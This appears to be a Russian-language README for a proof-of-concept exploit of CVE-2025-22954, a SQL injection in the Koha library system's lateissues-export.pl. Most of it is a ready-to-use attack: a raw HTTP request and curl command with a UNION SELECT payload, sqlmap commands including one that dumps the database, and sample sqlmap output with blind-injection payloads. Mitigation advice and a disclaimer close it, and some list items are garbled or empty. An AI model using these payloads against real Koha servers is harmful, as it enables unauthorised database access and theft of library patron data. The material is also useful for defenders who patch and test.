
Koha CVE-2025-22954: SQL-инъекция в lateissues-export.pl
Этот репозиторий содержит proof of concept для CVE-2025-22954 — критической уязвимости SQL-инъекции (CVSS 10.0) в Koha до версии 24.11.02. Уязвимость находится в функции GetLateOrMissingIssues в C4/Serials.pm, которая вызывается скриптом /serials/lateissues-export.pl. Уязвимость может быть использована через параметры supplierid или serialid.
| CVE ID | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (Критический) |
| EPSS Score | 0.03% (Топ 5.26%) |
| Опубликовано | 12 марта 2025 года |
| Исправлено в | Koha 24.11.02 |
| Ссылка на баг | Koha Bug #38829 |
| Примечания к выпуску | Релиз Koha 24.11.02 |
Уязвимость возникает из-за небезопасной обработки пользовательского ввода в параметрах supplierid и serialid в скрипте lateissues-export.pl, который передаёт их в функцию GetLateOrMissingIssues в C4/Serials.pm. Функция не выполняет должную очистку или параметризацию этих входных данных перед использованием в SQL-запросах, что допускает атаки с помощью SQL-инъекций.
Уязвимый скрипт (lateissues-export.pl) содержит следующий код:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
Функция GetLateOrMissingIssues в C4/Serials.pm, вероятно, содержит уязвимую конструкцию SQL-запросов, в которой параметры $supplierid и $serialid напрямую конкатенируются в SQL-выражения без надлежащей параметризации.
Этот proof of concept демонстрирует, как аутентифицированный пользователь с доступом к модулю серийных изданий может использовать эту уязвимость для извлечения чувствительных данных из базы данных Koha или потенциально получить несанкционированный доступ к нижележащей системе базы данных.
lateissues-export.plДля эксплуатации уязвимости можно использовать следующий сырой HTTP-запрос:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap можно использовать для автоматизации эксплуатации этой уязвимости. Сначала перехватите запрос к уязвимой конечной точке с валидными cookie аутентификации, а затем используйте SQLMap для эксплуатации точки инъекции.
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
Пример файла request.txt:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
Вы также можете эксплуатировать уязвимость напрямую с помощью SQLMap:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
Эта уязвимость позволяет аутентифицированному злоумышленнику:
Обновитесь до версии Koha 24.11.02 или более поздней, которая содержит исправление этой уязвимости.
Если немедленное обновление невозможно, рассмотрите возможность применения следующих временных мер:
/serials/lateissues-export.pl только доверенными IP-адресамиC4/Serials.pm, чтобы правильно параметризовать SQL-запросы в функции GetLateOrMissingIssuesЭтот proof of concept предоставляется только в образовательных и защитных целях. Всегда получайте надлежащее разрешение перед тестированием любой системы на уязвимости.
Автор не несёт ответственности за любое неправомерное использование этой информации. Этот proof of concept следует использовать только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.